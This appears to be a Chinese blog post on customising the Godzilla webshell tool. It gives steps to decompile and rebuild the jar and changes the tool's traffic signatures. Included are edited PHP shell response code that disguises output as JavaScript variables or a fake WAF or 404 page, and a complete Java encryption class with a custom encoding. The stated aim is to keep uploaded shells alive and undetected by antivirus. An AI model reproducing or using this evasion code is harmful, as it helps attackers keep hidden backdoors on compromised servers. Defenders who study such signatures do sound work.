为什么要二开godzilla?
在之前的一个渗透遇到一个场景上传马后连接一段时间就被干了。又
上传连接后又被干。操作不便。朋友推荐可以用下godzilla_ekp版。
尝试了下能比较稳定的操作了。但是公开的项目难免日后又被打上特征。
不如乘此机会自己二开一版,定制化一些功能,比如加密方式,ua和
返回包特征避免和公开的重复,生成即可免杀。
jar二次再开发步骤
目的:给Jar定制化个人的方法行为
-
1、反编译找到idea里面的java-decompiler.jar,对于要反编译的目标jar:A.jar,为了好区分,将A.jar放到当前路径的bin下(自己新建一个bin和src文件夹)。可以执行下面的命令 java -cp java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true bin/A.jar src/
这样,就会在src里面生成一个反编译后的jar,只需要解压出来即可。 -
2、建立项目打开idea,创建一个空项目,里面自带了src目录,我们创建两个目录,分别是lib和decompiled_src,前者存放反编译前的原始jar,后者存放反编译后解压出来的文件件(解压的时候,要选解压到xxx文件夹)然后配置初始依赖,即把lib中的jar加入到环境中即可 -
3、构建可修改和重新编译的环境进入到project structures->Artifacts->点击+号->选择jar->From modules with dependencies->找到反编译前的MANIFEST.MF,然后找到main函数所在的类(直接将这个值填写到弹出的Main Class框里面即可)->ok->apply -
4、首先复制main函数所在类来到decomiled_src目录,找到刚才填写的main函数所在类,在项目自建的src中创建与该类所在的包的目录,然后右键->Refactor->Copy File->在弹出的框中,写入刚刚你创建的目录。然后点击refactor。 -
5、修改某个文件并重编译对于你需要修改的B.java,首先按照第4步中的方法,将B.java复制一份到自建Src中,然后修改(如果里面引用了原jar里面的jar,我们需要将这些jar引入到项目的dependencies中),然后点击工具来顶部的build->build Artifacts->build 即可。最后从out里面获取jar即可。
2.Cookie,哥斯拉流量中单个cookie仍然会被加上分号
在util.http.HttpResponse.java中修改,匹配到结尾为分号就截取字符串,重新赋值下
3.响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位
修改匹配逻辑和对应bin文件
修改base64.bin把其中
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
修改为
echo"var f_0x".substr(md5($pass.$key),10,6)."=";
echo base64_encode(encode(@run($data),$key));
echo";n"."var g_0x".substr(md5($pass.$key),26,6)."=window;";
修改成js变量声明,后续可以配合xg师傅的拟态来伪造成waf,或者伪装成404页面
4.解密请求特征
比如php马连接时,会将payload存放在session中,还有测试连接时会使用
methodNameTest
这类特征,我们可以修改流量的加密方式
先看下原版他是怎么做加密的
public byte[] encode(byte[] data) {
try {
returnthis.E(data); }
catch (Exception var3) {
Exception e = var3;
Log.error((Throwable)e);
returnnull; }}
public byte[] decode(byte[] data) {
if (data != null && data.length > 0) {
try {
returnthis.D(this.findStr(data));
}
catch (Exception var3) {
Exception e = var3;
Log.error((Throwable)e);
returnnull; } }
else { returndata; }}
public byte[] E(byte[] cs) {
int len = cs.length;
for(int i = 0; i < len; ++i) {
cs[i] ^= this.key[i + 1 & 15]; }
return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();}
public byte[] D(String data) {
byte[] cs = functions.base64Decode(data);
int len = cs.length;
for(int i = 0; i < len; ++i) {
cs[i] ^= this.key[i + 1 & 15];
}
return cs;
}
明显E和D对应加解密,在encode和decode中被调用,我们用自己的加密方式去实现就好了,实现要注意加密函数的返回。(当时改的时候在这里踩坑了。。。
package shells.cryptions.phpXor;
import core.annotation.CryptionAnnotation;
import core.imp.Cryption;
import core.shell.ShellEntity;
import util.Log;
import util.functions;
import util.http.Http;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
@CryptionAnnotation(
Name = "PHP_Base100_BASE64",
payloadName = "PhpDynamicPayload"
)
public class PhpBase100 implements Cryption {
private ShellEntity shell;
private Http http;
private byte[] key;
private boolean state;
private String pass;
private byte[] payload;
private String findStrLeft;
private String findStrRight;
public void init(ShellEntity context) {
this.shell = context;
this.http = this.shell.getHttp();
this.key = this.shell.getSecretKeyX().getBytes();
this.pass = this.shell.getPassword();
String findStrMd5 = functions.md5(this.pass + new String(this.key));
//this.findStrLeft = findStrMd5.substring(0, 16);
this.findStrLeft = "var f_0x"+findStrMd5.substring(10, 16)+"=";
//this.findStrRight = findStrMd5.substring(16);
this.findStrRight = ";n"+"var g_0x" + findStrMd5.substring(26, 32)+"=window;";
try {
this.payload = this.shell.getPayloadModule().getPayload();
if (this.payload != null) {
this.http.sendHttpResponse(this.payload);
this.state = true;
} else {
Log.error("payload Is Null");
}
} catch (Exception var4) {
Exception e = var4;
Log.error((Throwable)e);
}
}
// 编码
public static byte[] emencode(byte[] data) {
byte[] out = new byte[data.length * 4];
int i = 0;
for (byte b : data) {
// python(byte): 0~255
// java(byte): -128~127
out[4 * i + 0] = (byte) (240);
out[4 * i + 1] = (byte) (159);
out[4 * i + 2] = (byte) (((b & 0xff) + 55) / 64 + 143);
out[4 * i + 3] = (byte) (((b & 0xff) + 55) % 64 + 128);
i++;
}
return ("pass" + "="+URLEncoder.encode(Base64.getEncoder().encodeToString(new String(out, StandardCharsets.UTF_8).getBytes(StandardCharsets.UTF_8)))).getBytes(StandardCharsets.UTF_8);
}
// 解码
public byte[] emdecode(byte[] data) {
if (data.length % 4 != 0) {
return "Length of string should be divisible by 4".getBytes();
}
byte tmp = 0;
byte[] out = new byte[data.length / 4];
int i = 0;
for (byte b : data) {
if (i % 4 == 2) {
tmp = (byte) (((b - 143) * 64) % 256);
} else if (i % 4 == 3) {
out[i / 4] = (byte) ((b - 128 + tmp - 55) & 0xff);
}
i++;
}
return out;
}
public byte[] encode(byte[] data) {
try {
return this.emencode(data);
} catch (Exception var3) {
Exception e = var3;
Log.error((Throwable)e);
return null;
}
}
public byte[] decode(byte[] data) {
if (data != null && data.length > 0) {
try {
String thisdata = this.findStr(data);
thisdata = new String(Base64.getDecoder().decode(thisdata),StandardCharsets.UTF_8);
return this.emdecode(thisdata.getBytes(StandardCharsets.UTF_8));
} catch (Exception var3) {
Exception e = var3;
Log.error((Throwable)e);
return null;
}
} else {
return data;
}
}
public boolean isSendRLData() {
return true;
}
public String findStr(byte[] respResult) {
String htmlString = new String(respResult);
return functions.subMiddleStr(htmlString, this.findStrLeft, this.findStrRight);
}
public boolean check() {
return this.state;
}
public byte[] generate(String password, String secretKey) {
return Generate.GeneratePHPBase100(password, functions.md5(secretKey).substring(0, 16));
}
}
原文始发于微信公众号(夺旗赛小萌新):godzilla哥斯拉二开
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论